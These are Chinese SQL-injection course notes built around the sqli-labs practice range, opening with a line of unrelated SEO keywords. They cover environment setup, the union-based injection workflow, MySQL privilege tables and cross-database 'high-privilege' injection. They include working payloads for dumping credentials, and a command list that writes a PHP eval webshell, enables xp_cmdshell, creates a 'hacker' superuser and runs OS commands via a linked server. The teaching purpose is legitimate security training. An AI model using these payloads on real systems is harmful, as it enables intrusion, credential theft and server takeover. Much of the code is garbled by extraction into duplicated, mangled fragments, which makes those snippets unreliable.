网站里弹窗怎么做,做外贸seo优化的公司,网站如何链接备案系统,花瓣网设计网站2.1.SQL注入之sqli-labs环境搭建
一、SQL注入之Sql-labs靶场
00:36
1. SQLi-Labs是什么
00:37
专业练习平台#xff1a;SQL-Labs是一个专业的SQL注入练习平台#xff0c;适用于GET和POST场景包含注入类型#xff1a;
基于错误的注入#xff08;Union Select#xff09;基于…2.1.SQL注入之sqli-labs环境搭建一、SQL注入之Sql-labs靶场00:361. SQLi-Labs是什么00:37专业练习平台SQL-Labs是一个专业的SQL注入练习平台适用于GET和POST场景包含注入类型基于错误的注入Union Select基于误差的注入双查询注入盲注入基于Boolean数据类型注入和基于时间注入更新查询注入update插入查询注入insertHeader头部注入基于Referer、UserAgent、cookie注入二阶注入二次注入绕过WAF黑名单/过滤器/误判/注释剥离等11种绕过方式2. SQLi-Labs下载01:54下载地址https://github.com/Audi-1/sqli-labs下载步骤访问GitHub链接点击Download ZIP按钮下载压缩包解压到本地目录建议桌面或D盘3. SQLi-Labs安装02:53环境准备需要PHPMysql环境推荐使用phpstudy安装步骤将解压后的SQLi-Labs文件夹放置到phpstudy的WWW目录下修改配置文件db-creds.inc中的数据库连接信息dbuser′root′;dbuser ‘root’; dbuser′root′;dbpass ‘root’;dbname′security′;dbname ‘security’; dbname′security′;host ‘localhost’;注意phpstudy默认的mysql用户名密码都是root4. PHPstudy安装与使用04:03下载安装官网www.phpstudy.net选择Windows版本下载安装时建议选择非C盘目录使用注意事项启动前需确保没有其他MySQL服务运行会端口冲突需要启动Apache和MySQL服务靶场需要PHP5.x版本高版本不兼容在软件管理中安装PHP5.2.17或5.3.29在网站管理中切换PHP版本验证安装访问localhost查看是否显示站点创建成功访问localhost/sqli-labs-master/查看靶场界面二、知识小结知识点核心内容考试重点/易混淆点难度系数SQL注入基础概念原理与攻击场景概述强调数据提交方式GET/POST的影响区分字符型与整数型注入的语法差异⭐⭐靶场环境搭建使用sqli-labs靶场GitHub开源需配合PHPStudyApacheMySQLPHP环境PHP版本兼容性问题需降级至5.x版本; MySQL端口冲突需卸载原有服务⭐⭐⭐⭐靶场功能特性覆盖报错注入、盲注、二次注入、绕过技术等全场景双查询注入与时间延迟注入的实战区别⭐⭐⭐环境配置关键步骤1. 修改db-creds.inc文件匹配MySQL账号root/root; 2. 靶场源码放置于phpstudy/www/目录配置文件路径sql-connections/db-creds.inc; 版本切换PHP≤5.3⭐⭐⭐⭐注入技术分类按数据类型字符/整数、提交方式GET/POST、语法UPDATE/INSERT划分二阶注入与报错注入的触发条件对比⭐⭐⭐2.2 SQL注入之MYSQL手工注入一、学习路线规划00:021. 动手实战06:501SQL注入流程07:07SQL注入流程练习08:09SQL注入基础概念注入类型分类基于错误类型单引号字符串型、双引号字符串型、整数型基于提交方式GET、POST、Cookie、HTTP头基于查询方式SELECT、INSERT、DELETE、UPDATE、ORDER BY盲注类型布尔型、时间型、报错型GET与POST提交方式基本区别GET提交提交位置通过URL地址栏提交数据可见性数据完全暴露在网址中长度限制约2083字节2KB35不同浏览器有差异应用场景适用于数据不敏感、安全性要求低的场景速度快POST提交提交方式直接通过服务器提交安全性数据不会显示在URL中数据量支持更大数据量传输应用场景现代网站主流提交方式实际应用对比速度差异GET提交速度明显快于POST安全性案例以靶场ID1为例GET方式直接在URL中暴露参数值长度限制示例当提交数据超过2083字节时IE浏览器会完全无响应SQL注入实战环境环境说明类型基于错误的整数型注入Error Based Intiger操作提示“Please input the ID as parameter with numeric value”注入点通过URL参数?id1进行测试盲注技术原理定义当注入过程中获取的数据不能回显到页面时的判断技术分类布尔盲注通过页面返回的真假状态判断时间盲注通过服务器响应时间差异判断报错盲注利用数据库报错信息获取数据应用场景特别适用于INSERT等无回显点的操作注入语句示例基础查询?id1 union select 1,2,database()表名获取?id-1 union SELECT 1,2,group_concat(table_name) from information_schema.tables字段探测?id-1 order by 3 用于判断字段数量常见错误解决权限问题修改文件权限为755Linux或可读可写Windows防火墙阻挡临时关闭防火墙或允许WWW服务通过目录配置确保站点根目录存在index.html或index.php文件继续之前SQL注入流程练习12:25展示页面数据12:36数据展示机制通过URL传递id1参数后页面显示两条数据登录名Dumb和密码Dumb这是从数据库查询返回的结果。参数变化影响当修改id值为2或3时页面显示的用户名和密码会相应变化说明后端根据id参数动态查询数据库。源码分析12:48源码路径靶场源码位于D盘phpstudy_pro/www/sqli-labs-master/Less-2/index.php代码查看要点重点观察接收参数和处理SQL查询的部分不需要理解全部代码细节。ID值传递与接收14:14参数接收流程URL中的id参数通过$_GET[‘id’]接收赋值给变量$id记录到result.txt日志文件关键代码ididid_GET[‘id’];fpfopen(′result.txt′,′a′);fwrite(fpfopen(‘result.txt’,‘a’); fwrite(fpfopen(′result.txt′,′a′);fwrite(fp,‘ID:’.$id.“\n”);SQL语句构造与参数注入 912000SQL语句构造$sqlSELECT * FROM users WHERE id$idLIMIT 0,1;注入原理用户输入的id值直接拼接到SQL语句中没有对输入进行过滤或参数化处理可以通过构造特殊id值注入额外SQL命令注入攻击演示17:09手工注入方法通过union合并查询获取数据库信息示例注入语句union select 1,group_concat(table_name),3 from information_schema.tables信息收集流程查询数据库表名查询表字段名查询具体数据安全风险攻击者可获取整个数据库信息可能导致数据泄露或服务器被控制防御建议使用参数化查询对输入进行严格过滤最小权限原则配置数据库账户SQL注入第一步判断有无注入点18:00手工注入的概念18:06定义通过手动构造SQL语句进行注入测试区别于工具自动化注入特点需要逐步测试验证效率较低但有助于理解注入原理后续发展课程后续会介绍工具注入提高效率判断有无注入点的重要性18:26首要步骤手工注入的第一步必须是判断目标是否存在可被利用的注入点必要性若参数被严格过滤如仅允许数字输入则无法进行SQL注入测试方法通过输入非常规参数观察系统响应过滤与判断的作用18:49防御机制开发者可通过预编译、参数过滤等方式防止注入数字限制示例中若限制id参数只能为数字则输入张三会导致程序拒绝执行代码实现PHP/JAVA等语言均可通过简单代码实现输入验证注入点的定义20:07核心特征用户输入被直接拼接到SQL语句中执行验证方法改变参数值如id3改为id4观察返回数据变化实际案例靶场中id3和id4返回不同用户数据证明存在注入使用and 11判断注入点20:36经典方法附加and 11条件测试SQL执行情况原理11恒为真若语句正常执行则证明参数被解析为SQL语法变体测试也可使用and 12等条件验证不同响应京东案例登录页面输入zhangsan’ and 11–测试注入可能性实际操作演示21:09靶场环境使用security数据库的users表14条用户数据SQL验证通过mysql命令行直接查询验证表结构错误注入输入非常规字符如idda触发报错信息报错分析Unknown column da’错误证明参数被直接拼接到SQL语句结论性测试任意非常规输入导致SQL语法错误即确认存在注入点错误解读报错信息显示用户输入被当作SQL语句部分执行防御缺失缺乏参数过滤和预处理机制是注入漏洞的根本原因SQL注入第二步猜解列名数量26:01列名数量的概念字段数量定义列名数量即数据表的字段数量如示例中users表包含id、username、password三个字段实际应用场景在渗透测试中面对未知数据库结构如淘宝、京东等网站需要通过技术手段推断表的字段数量使用ORDER BY猜解方法核心原理利用SQL的ORDER BY子句进行字段数量推断数字参数对应字段序号1第1个字段2第2个字段…报错机制当ORDER BY数字超过实际字段数时会报错如3字段表使用ORDER BY 4将触发Unknown column错误URL编码细节%20代表空格字符的URL编码形式是SQL注入中常见的特殊字符处理方式实战演示过程验证步骤从ORDER BY 1开始测试正常显示说明至少有1个字段递增测试至ORDER BY 3仍正常测试ORDER BY 4时出现报错信息结论推导通过该方法可确定users表包含3个字段id、username、password技术要点总结关键技巧该方法属于盲注技术无需知晓实际表结构即可推断字段数量注意事项需要逐步递增测试不能直接猜测大数字不同数据库的报错信息可能有差异实际渗透中需要结合其他注入技术综合判断典型应用为后续UNION SELECT注入确定字段数量做准备SQL注入第三步报错判断回显点29:00报错判断回显点的方法29:01基础判断通过输入特殊字符如单引号触发系统报错确认是否存在注入漏洞真假测试使用and 11真条件和and 12假条件观察页面响应差异列数探测通过order by语句逐步增加数字测试字段数量如order by 4报错则说明字段数小于4判断回显点的重要性29:12核心作用确定前端页面显示数据库查询结果的具体位置前置准备字段数量探测第二步是为回显点判断做铺垫后续影响准确找到回显点才能实施有效的数据窃取操作使用联合查询判断回显点29:30关键函数使用UNION SELECT合并两条查询语句字段匹配前后查询的字段数量必须严格一致如已知3个字段则写union select 1,2,3localhost/sgli-labs-master/Less-2/index.php?id1 union select 1,2,3结果隔离第一条查询可故意使用不存在的ID如-1或99确保只显示第二条查询结果通过联合查询确定回显点32:06操作步骤构造id-1 union select 1,2,3语句观察页面显示的数字如显示2和3这些数字位置即为数据回显点特性验证当第一条查询无结果时第二条查询结果会完整显示回显点数字对应select后的字段位置如显示2表示第二个字段可输出数据回显点的后续学习内容32:18无回显场景当页面不直接显示查询结果时需要其他技术如盲注进阶应用通过回显点可获取数据库信息如表名、字段内容防御措施参数化查询可有效防止回显点被利用SQL注入第四步信息收集32:32数据库版本信息收集34:33回显点利用在有回显点的注入中可通过在回显位置插入version()函数直接获取数据库版本实战示例在SQLi-Labs靶场Less-2中使用union select 1,version(),3成功获取到MySQL版本为5.7.26重要性版本信息决定后续注入方式和可利用的系统库资源高低版本区分35:29高版本MySQL 5.0及以上版本含5.5.5低版本MySQL 5.0以下版本关键区别系统库存在高版本自带information_schema等系统库低版本无系统库注入方式高版本可通过查询系统库获取元数据低版本需采用暴力破解等方式信息收集高版本可利用information_schema中的tables/columns表获取数据库结构数据库信息收集方法库名获取函数使用通过database()函数可直接获取当前数据库名称实战验证在SQLi-Labs靶场中查询结果为security与实际库名一致系统库查询高版本还可通过information_schema.schemata表查询所有数据库名称系统库利用核心表tables存储所有表信息columns存储所有字段信息schemata存储所有数据库信息查询示例select table_name from information_schema.tables where table_schema‘库名’select column_name from information_schema.columns where table_name‘表名’信息收集策略收集内容数据库版本version()当前库名database()操作系统类型数据库用户权限战术价值信息越全面可选择的注入方式越多成功率越高后续利用根据收集信息选择合适注入技术如基于错误的注入、联合查询注入等社会注入整体应用38:37注入的目标与需求38:41注入目标确认核心需求通过SQL注入获取靶场user表中的账号密码信息实现路径需要编写特定SQL语句逐步获取数据库结构信息库名→表名→字段名→数据关键工具使用union联合查询配合information_schema系统库进行数据收集注入应用的章节示例38:57系统库结构解析核心表结构tables表存储所有数据库的表信息关键字段为table_namecolumns表存储所有表的字段信息关键字段为column_name层级关系服务器→数据库→表→字段数据查询方法库名获取使用database()函数直接查询表名查询SELECT table_name FROM information_schema.tables WHERE table_schemadatabase()字段查询SELECT column_name FROM information_schema.columns WHERE table_name‘users’数据查询技术细节查询优化技巧数据合并使用GROUP_CONCAT()函数合并多行结果避免页面显示不全示例SELECT GROUP_CONCAT(username) FROM users分隔符可用0x3a冒号作为字段分隔符编码处理表名等字符串可转为16进制格式如user→0x75736572避免引号问题完整注入流程确定回显点通过union select定位有效显示位置查询库名SELECT database()查询表名SELECT table_name FROM information_schema.tables WHERE table_schemadatabase()四张表都显示出来了查询字段SELECT column_name FROM information_schema.columns WHERE table_name0x75736572库名转换成16进制获取数据SELECT GROUP_CONCAT(username,0x3a,password) FROM users注意事项语法规范等号前后不能有空格table_schemadatabaseinformation_schema必须拼写正确实战技巧优先查询user/users等可能包含凭证的表通过字段名特征如包含name/pass等快速定位关键字段错误处理报错时检查单引号使用情况可尝试16进制编码替代直接字符串2内容总结59:30数据库注入类型对比普通注入与高权限注入区别普通注入受限于当前数据库用户权限高权限注入使用root账号具有数据库系统最高权限跨库注入特性高权限注入可实现跨数据库操作普通注入通常只能操作当前数据库高权限注入详解权限特征使用root账号执行注入操作可访问系统所有数据库资源操作范围不受单一数据库限制可实现跨数据库查询和数据操作安全风险可能导致整个数据库系统沦陷比普通注入危害性更大实践建议练习重点掌握普通注入的基本操作流程理解权限对注入操作的影响学习建议通过实例练习体会不同权限下的注入差异注意观察错误回显的权限提示信息后续内容预告将学习更多注入方式和应用场景包括但不限于跨库注入等高级技术二、知识小结知识点核心内容技术要点/易混淆点难度系数SQL注入基础概念通过用户输入参数构造恶意SQL语句注入点判断方法and 11测试; 高版本与低版本数据库区别★★☆☆☆注入点探测技术URL参数测试GET提交; 表单字段测试POST提交空格编码%20转换; 数字型与字符型注入差异★★★☆☆信息收集技术version()获取数据库版本; database()获取当前库名系统库information_schema结构解析; 高版本特有功能★★☆☆☆字段数量探测order by逐级递增测试报错临界值判断标准; 联合查询字段数匹配要求★★★☆☆回显点定位union select联合查询测试; 负值/不存在的ID绕过布尔盲注与延时盲注适用场景★★★★☆数据提取技术group_concat()聚合函数使用; 16进制编码绕过过滤tables表与columns表关联查询; 跨库注入条件★★★★☆防御措施预编译语句/参数化查询; 输入过滤与白名单机制WAF绕过技术注释符/大小写变异★★★☆☆实战案例DVWA靶场第二关手工注入; 完整注入链条演示库→表→字段→数据的递进式查询; 权限提升可能性★★★★★2.3 SQL注入之高权限注入上_笔记一、高权限注入00:051. 什么是SQL注入1高权限的概念00:11本质高权限意味着对整个数据库系统的完全控制权包括数据访问、修改、新增等所有操作权限。典型代表在MySQL等数据库中root用户拥有最高权限可以跨数据库进行操作。2数据库用户权限划分00:33系统用户拥有高级函数和资源表的访问权限可执行数据库所有操作如数据读写、结构修改普通用户仅拥有管理员配置的特定权限权限范围可能限制到单表甚至特定字段示例只能查询某表的特定列无删除/修改权限3高权限与低权限的区别00:49操作范围高权限可访问所有数据库如跨网站数据库低权限仅限单个数据库可能文件读写失败实际影响高权限用户可进行服务器文件读写普通用户仅能操作当前网站配置的数据库部分4多个网站共享MySQL服务器02:07典型架构单个MySQL服务承载多个网站数据库如数据库A对应网站A数据库B对应网站B示例新浪主站和新闻子站可能使用同一服务器的不同数据库共享特点子网站数据存储在独立数据库中物理部署在同一MySQL服务器实例5高权限注入的前提条件05:51关键要求存在SQL注入漏洞的网站使用root权限连接数据库漏洞需允许执行跨库查询语句典型场景通过网站A的注入点访问网站B的数据库需要网站A的数据库连接账号为系统管理员权限6高权限注入的应用场景06:42攻击路径发现网站A存在SQL注入漏洞确认网站A使用高权限数据库账号通过注入点枚举服务器所有数据库提取目标网站B的敏感数据防御要点网站应使用最小权限原则配置数据库账号避免多个网站共享高权限数据库账号2. SQL注入之sqli-labs环境搭建07:561第二关源码解析09:16user() 查看用户权限显示是root权限源码结构包含MySQL连接参数引入第19行接收用户输入的id参数第24行将输入记录到result.txt日志文件第26-28行构造SQL查询语句第34行执行查询并输出结果第35-44行关键漏洞未对用户输入的id参数进行过滤处理直接拼接SQL语句sqlSELECT∗FROMusersWHEREidsqlSELECT * FROM users WHERE idsql“SELECT∗FROMusersWHEREidid LIMIT 0,1”使用mysql_query()这种已弃用的函数2数据库连接配置文件10:07配置文件层级index.php引入sql-connect.php第19行sql-connect.php引入db-creds.inc第4行最终在db-creds.inc中定义连接参数连接参数用户名$dbuser‘root’密码$dbpass‘root’数据库名$dbname‘security’主机$host‘localhost’3权限设置与访问10:52权限验证流程先检查user表中的全局权限若为Y则拥有所有数据库权限若为N则依次检查db、tables_priv、columns_priv表root权限特点可访问服务器所有数据库可执行所有数据库操作增删改查可修改系统配置参数可创建/删除用户和授权权限表分类user表存放账户信息和全局权限db表存放数据库级别权限tables_priv表存放表级别权限columns_priv表存放字段级别权限3. SQL注入之MYSQL系统库11:231系统库释义12:16information_schema库功能定义是MySQL的信息数据库保存服务器维护的所有其他数据库的元数据核心用途存储数据库/表名称、列数据类型、访问权限等系统信息在web渗透测试中具有重要应用价值关键表说明SCHEMATA表记录所有数据库信息等效于show databases命令结果TABLES表存储数据库中所有表的详细信息mysql系统库12:43核心功能保存用户账户信息及权限配置数据管理要素用户身份信息账号/密码多级权限控制体系访问权限修改接口2MySQL权限介绍权限控制表体系表结构层级user表最高权限存储全局级别权限控制整个MySQL实例访问db表管理数据库级别权限控制特定库访问tables_priv表管理表级别操作权限columns_priv表控制字段级别的访问权限验证顺序user → db → tables_priv → columns_priv权限范围逐级缩小权限验证机制认证流程通过user表的Host/User/Password字段验证登录凭证权限分配按层级逐级检查若user表权限标记为YYes跳过下级检查若为NNo则向下一级表继续验证典型场景全局权限用户只需通过user表验证受限权限用户需遍历多级权限表验证版本说明演示环境使用MySQL 5.7.22版本权限体系权限级别分类全局管理权限作用于整个MySQL实例数据库级别权限控制指定数据库的访问对象级别权限管理具体数据库对象表/视图/字段的操作权限验证特点采用短路验证机制高级别权限通过后不再检查低级别权限3MySQL用户权限管理16:41MySQL系统库结构核心表MySQL系统库包含user、db、tables_priv、columns_priv四张核心权限表权限层级从服务器到字段形成四级权限控制服务器→数据库→表→字段表功能user表存储全局权限决定哪些主机用户可以访问整个MySQL实例db表存储数据库级权限控制特定数据库的访问权限tables_priv表存储表级权限控制特定表的访问权限columns_priv表存储列级权限控制特定字段的访问权限权限验证流程验证顺序身份认证后按user→db→tables_priv→columns_priv顺序检查权限短路原则若user表中权限为Y则不再检查下级权限表逐级验证user表N→检查db表db表N→检查tables_priv表tables_priv表N→检查columns_priv表用户权限操作查看用户信息查看所有用户SELECT user, host FROM mysql.user;查看具体权限SELECT * FROM user WHERE user‘root’ AND host‘localhost’\G权限标识Y表示拥有该权限N表示无权限root权限所有权限字段均为Y具有完全控制权创建用户方法推荐方式使用CREATE命令直接操作通过INSERT语句向user表添加记录权限限制可精确控制到列级权限如GRANT SELECT(id) ON test.temp TO user权限变更操作22:30提升权限删除用户DROP USER ‘username’‘host’特殊权限仅查询权限限制用户只能执行SELECT操作存储过程权限通过procs_priv表控制权限级别分类全局权限作用于整个MySQL实例如SHUTDOWN权限数据库级作用于特定数据库如CREATE权限对象级作用于表、视图等对象如SELECT权限列级权限精确到字段级别的控制如仅允许查询特定列4MySQL权限管理与用户操作MySQL权限系统结构权限表分类user表存放用户账户信息及全局级别权限db表存放数据库级别权限tables_priv表存放表级别权限columns_priv表存放列级别权限procs_priv表存放存储过程和函数级别权限权限级别划分全局性管理权限作用于整个MySQL实例数据库级别权限作用于指定或所有数据库数据库对象级别权限作用于表、视图等对象用户创建与授权操作创建用户创建方式推荐方式CREATE USER ‘username’‘host’ IDENTIFIED BY ‘password’;直接操作系统权限表不推荐示例操作查看用户权限查看命令权限标识Y表示有权限N表示无权限权限管理操作提升用户权限管理员授权命令精确授权列级别授权删除用户删除命令权限验证流程验证顺序检查user表中的Host、User、Password字段通过身份认证后按user→db→tables_priv→columns_priv顺序验证若user表中权限为Y则跳过后续检查若为N则依次检查下级权限表高低权限用户区别高权限用户可管理所有数据库可进行文件读写操作权限标识多为Y低权限用户仅限单个数据库权限文件读写常失败权限标识多为N二、SQL注入之高权限注入33:001. 高权限注入原理权限差异普通用户可能仅拥有单个数据库权限而高权限用户(如root)可访问所有数据库并执行文件读写操作危害范围当攻击者获取root权限后可控制整个MySQL服务器上的所有数据库而不仅限于当前被攻击的网站数据库实际案例如字幕中提到的当前网站连接数据库的用户是root权限攻击者可通过该漏洞控制服务器上部署的所有数据库2. MySQL权限验证机制验证顺序按照user→db→tables_priv→columns_priv的顺序进行权限验证全局权限若user表中权限为Y则拥有所有数据库的该权限不再检查下级表层级验证若上级权限为N则依次向下级表(db→tables→columns)检查具体权限1系统权限表结构User表存储用户账户信息及全局级别权限决定哪些主机用户可以访问数据库实例Db表存储数据库级别权限决定用户对特定数据库的访问权限Tables_priv表存储表级别权限控制用户对特定表的访问Columns_priv表存储列级别权限控制用户对表字段的访问Procs_priv表存储存储过程和函数级别的权限2MySQL权限级别全局管理权限作用于整个MySQL实例级别数据库级别权限作用于指定数据库或所有数据库对象级别权限作用于特定数据库对象(表、视图等)或所有对象3. 高权限注入实例分析环境说明演示使用sqli-labs靶场其中数据库连接用户为root权限权限验证通过select user,host from mysql.user和select * from user where user‘root’ and host‘localhost’\G命令查看用户权限跨库攻击root权限用户可通过注入漏洞访问服务器上其他网站的数据库(如test数据库)实现横向渗透防御要点应用程序连接数据库时应使用最小权限原则避免使用root等高权限账户三、知识小结知识点核心内容考试重点/易混淆点难度系数高权限注入概念高权限如root可操作整个数据库服务器包括访问/修改其他网站的数据库低权限用户仅能访问特定库/表/字段区分权限层级root 数据库级 表级 字段级⭐⭐权限验证流程MySQL通过四张系统表验证权限user全局→ db库级→ tables_priv表级→ columns_priv字段级按顺序检查权限是否为Yuser表全Y则跳过下级验证否则逐级向下检查⭐⭐⭐多网站共享服务器风险同一MySQL服务器可能托管多个网站数据库高权限注入可跨库攻击如通过网站A漏洞入侵网站B数据库依赖网站A使用root账号连接数据库这一前提⭐⭐⭐⭐权限操作演示- 创建用户GRANT或直接操作user表; - 提权GRANT ALL PRIVILEGES ON.TO ‘user’; - 细粒度授权仅开放特定表字段查询权限普通用户初始权限全为N需手动分配⭐⭐⭐靶场实战关联SQLi-Labs靶场第二关使用root权限连接可通过注入漏洞探测服务器其他数据库如test库实际渗透中需结合information_schema遍历库/表⭐⭐⭐⭐防御关键点程序应使用最小权限原则连接数据库避免直接使用root账号权限分配错误是高权限注入的根本原因⭐⭐MySQL权限管理操作笔记一、用户管理1. 创建用户-- 创建本地用户仅允许localhost访问CREATEUSERdev_locallocalhostIDENTIFIEDBYStrongPass123!;-- 创建远程用户允许任意IP访问CREATEUSERdev_remote%IDENTIFIEDBYSecurePass456!;-- 创建带密码策略的用户密码90天过期CREATEUSERaudit_user%IDENTIFIEDBYAuditPass789!PASSWORD EXPIREINTERVAL90DAY;2. 修改用户-- 修改密码ALTERUSERdev_remote%IDENTIFIEDBYNewSecurePass007!;-- 锁定账户ALTERUSERdev_remote%ACCOUNTLOCK;-- 解锁账户ALTERUSERdev_remote%ACCOUNTUNLOCK;3. 删除用户DROPUSERdev_remote%;二、权限分配1. 全局权限作用于整个MySQL实例-- 授予全局权限如管理权限GRANTRELOAD,SHUTDOWNON*.*TOdba_user%;-- 刷新权限使生效FLUSHPRIVILEGES;2. 库级权限针对特定数据库-- 授予某数据库所有权限GRANTALLPRIVILEGESONtest_db.*TOadmin_user%;-- 授予只读权限GRANTSELECTONtest_db.*TOread_user%;3. 表级/列级权限-- 表级权限增删改查GRANTSELECT,INSERT,UPDATE,DELETEONtest_db.usersTOapp_user%;-- 列级权限仅允许修改手机号字段GRANTUPDATE(phone)ONtest_db.usersTOpartial_update_user%;4. 特殊权限-- 授予授权权限可将权限转授他人GRANTALLPRIVILEGESONdev_db.*TOmgr_user%WITHGRANTOPTION;-- 授予过程权限存储过程调用GRANTEXECUTEONproc_db.*TOproc_user%;三、权限查询与验证-- 查看用户权限SHOWGRANTSFORadmin_user%;-- 查询所有用户及权限信息USEmysql;SELECTuser,host,authentication_string,account_lockedFROMuser;-- 验证列级权限配置SELECT*FROMcolumns_privWHEREuserpartial_update_user;四、权限撤销-- 撤销特定权限REVOKEDELETEONtest_db.*FROMapp_user%;-- 撤销所有权限保留账户REVOKEALLPRIVILEGESONtest_db.*FROMadmin_user%;-- 彻底删除权限需先REVOKEDROPUSERtemp_user%;五、安全实践最小权限原则生产环境禁止使用ALL PRIVILEGES限制登录来源优先使用userspecific_ip而非user%定期审计-- 查询过期密码账户SELECTuser,host,password_expiredFROMmysql.userWHEREpassword_expiredY;强制密码策略ALTERUSERuser%PASSWORD EXPIRE NOW;六、常见场景示例场景1开发环境只读用户CREATEUSERdev_ro%IDENTIFIEDBYDevRoPass!;GRANTSELECTONdev_db.*TOdev_ro%;FLUSHPRIVILEGES;场景2生产环境运维用户CREATEUSERops192.168.1.%IDENTIFIEDBYOpsSecure123!;GRANTRELOAD,PROCESS,SHOWDATABASES,LOCKTABLESON*.*TOops192.168.1.%;场景3数据录入专用账户CREATEUSERdata_entrylocalhostIDENTIFIEDBYEntryPass456!;GRANTINSERT,UPDATEONcompany_db.employeeTOdata_entrylocalhost;###2.3.2 SQL注入中常用权限相关命令及注释重要提示以下命令仅用于合法的安全测试和学习目的未经授权的数据库访问和操作属于违法行为。请确保您有合法授权进行安全测试。一、基础信息获取命令1. 获取数据库版本和当前用户UNIONSELECTVERSION(),USER()--注释通过联合查询获取数据库版本和当前登录用户名--为SQL注释符用于忽略后面的内容。二、数据库结构探索命令2. 获取所有数据库名UNIONSELECTSCHEMA_NAME,NULLFROMINFORMATION_SCHEMA.SCHEMATA--注释通过INFORMATION_SCHEMA.SCHEMATA系统表获取所有数据库名。3. 获取指定数据库的所有表名 UNION SELECT TABLE_NAME, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMAyour_database_name--注释替换your_database_name为实际数据库名获取该数据库中的所有表名。4. 获取指定表的所有列名 UNION SELECT COLUMN_NAME, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAMEusers--注释获取users表的所有列名用于后续数据提取。三、数据提取命令5. 提取特定表的字段内容UNIONSELECTusername,passwordFROMusers--注释提取users表中的用户名和密码字段常用于获取凭证信息。6. 提取所有表的所有字段联合查询UNIONSELECTGROUP_CONCAT(table_name),NULLFROMINFORMATION_SCHEMA.TABLES--注释使用GROUP_CONCAT将所有表名组合成一个字符串返回。四、文件写入命令需特定权限7. 写入WebShell需root权限且secure_file_priv未限制 UNION SELECT ?php eval($_POST[cmd]);?, NULL INTO OUTFILE /var/www/html/shell.php--注释写入一句话木马到Web目录secure_file_priv必须为或网站根目录。注意需root权限。8. 写入文件使用文件格式化选项 UNION SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php LINES TERMINATED BY --注释使用LINES TERMINATED BY 避免添加额外字符确保PHP代码完整。五、系统命令执行命令9. 执行系统命令需xp_cmdshell权限MSSQL; EXEC xp_cmdshell whoami--注释在MSSQL中执行系统命令需要xp_cmdshell已启用且用户有权限。10. 启用xp_cmdshell需sysadmin权限MSSQL; EXEC sp_configure showadvanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell,1;RECONFIGURE;--注释启用MSSQL的xp_cmdshell扩展存储过程需要sysadmin权限。六、权限提升命令11. 提升权限MSSQL; EXEC master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,1--注释修改注册表设置以绕过某些安全限制需要DB_OWNER或sysadmin权限。12. 创建新用户需DBA权限; CREATE USER hacker% IDENTIFIED BY hacked; GRANT ALL PRIVILEGES ON *.* TO hacker%;--注释在MySQL中创建新用户并授予所有权限需要GRANT OPTION权限。七、权限检查命令13. 检查当前用户权限UNIONSELECTCURRENT_USER(),ISNULL((SELECTCOUNT(*)FROMinformation_schema.user_privilegesWHEREgranteeCURRENT_USER()),0)--注释判断当前用户是否拥有GRANT OPTION权限用于权限提升判断。14. 检查secure_file_priv配置MySQLUNIONSELECTsecure_file_priv,NULL--注释检查MySQL的secure_file_priv配置判断是否可以写入文件。八、高级权限利用命令15. 创建链接服务器MSSQL; EXEC sp_addlinkedserver L0op8ack, OLE DB ProviderforJet, Microsoft.Jet.OLEDB.4.0, C:\Windows\System32\ias\ias.mdb--注释创建链接服务器需要sysadmin或setupadmin权限。16. 通过链接服务器执行命令; SELECT * FROM OPENQUERY(L0op8ack, SELECTshell(cmd.exe /c whoami))--注释通过已创建的链接服务器执行系统命令需要sysadmin权限。九、权限相关安全建议最小权限原则数据库账户应仅授予完成工作所需的最小权限-- 授予最小必要权限示例GRANTSELECT,INSERTONdatabase.tableTOapp_user%;禁止使用root账户应用程序应使用专用账户而非root或管理员账户-- 创建专用应用账户CREATEUSERapp_user%IDENTIFIEDBYstrong_password;禁用危险功能在MSSQL中禁用xp_cmdshell-- 禁用xp_cmdshellEXECsp_dropextendedprocxp_cmdshell;设置secure_file_priv限制MySQL文件写入权限-- 设置secure_file_priv为特定目录SETGLOBALsecure_file_priv/var/www/html/;重要提醒SQL注入是严重安全漏洞应通过以下方式防范使用参数化查询或预编译语句严格验证和过滤所有用户输入实施最小权限原则定期进行安全审计和渗透测试合法的安全测试必须获得明确授权未经授权的测试可能触犯法律。2.4 SQL注入之高权限注入下_笔记一、高权限注入00:031. 注入流程回顾00:25流程一致性高权限注入流程与基础手工注入相同都需要经过判断注入点、拆解字段数量、联合查询等步骤权限验证必须确认当前数据库用户为root权限才能进行跨库查询系统库依赖整个注入过程依赖information_schema系统库查询库名、表名和字段名2. 登录靶场00:461注入第一步判断是否有注入点00:58传参测试通过?id1等参数测试是否存在注入点源码查看通过查看页面源码确认SQL语句执行情况用户验证使用user()函数确认当前数据库用户权限2判断完注入点后拆解数据库数量和字段数量02:08字段数量判断使用order by 3确定查询返回的字段数量回显点定位通过union select 1,2,3确定页面回显位置负值技巧使用id-1使原查询不返回结果只显示注入内容3高权限注入查询所有数据库名称02:48系统库查询通过information_schema.schemata表查询所有数据库名称group_concat使用将多个数据库名称合并显示在一个字段中权限验证必须root权限才能查询所有数据库普通用户只能查询当前数据库4查询数据库对应的表名05:04表名存储位置通过information_schema.tables查询特定数据库下的表名16进制编码数据库名test需转换为0x74657374格式避免语法错误精确查询使用table_schema条件限定只查询指定数据库的表5查询表名对应的字段名09:08字段存储位置通过information_schema.columns查询表字段信息16进制应用表名t1转换为0x7431进行查询结果验证查询结果应与实际表结构一致id,name,pass三个字段6查询数据10:28完整查询使用库名.表名格式避免同名表混淆字段选择只查询需要的字段name,pass结果验证查询结果abc/22与数据库实际数据一致3. 高权限注入总结13:36核心优势root权限可实现跨库查询和文件读写操作版本要求MySQL 5.0以上版本才支持information_schema系统库实战应用90%以上现代系统使用高版本MySQL均可采用此方法安全建议数据库应使用最小权限原则避免使用root账户连接应用权限验证流程先检查user表中的全局权限如果为N则检查db表数据库权限最后检查tables_priv和columns_priv表权限表作用user表存储全局权限db表存储数据库级别权限tables_priv存储表级别权限columns_priv存储字段级别权限二、知识小结知识点核心内容考试重点/易混淆点难度系数高权限注入概念高权限用户如root可跨库查询或读写操作需满足1. 用户权限为root2. MySQL版本需支持information_schema系统库5.0以上。权限验证方法通过user()函数确认当前用户权限版本限制低版本5.0无系统库支持。⭐⭐⭐手工注入流程1. 判断注入点传参测试2. 拆解字段数量ORDER BY3. 联合查询UNION 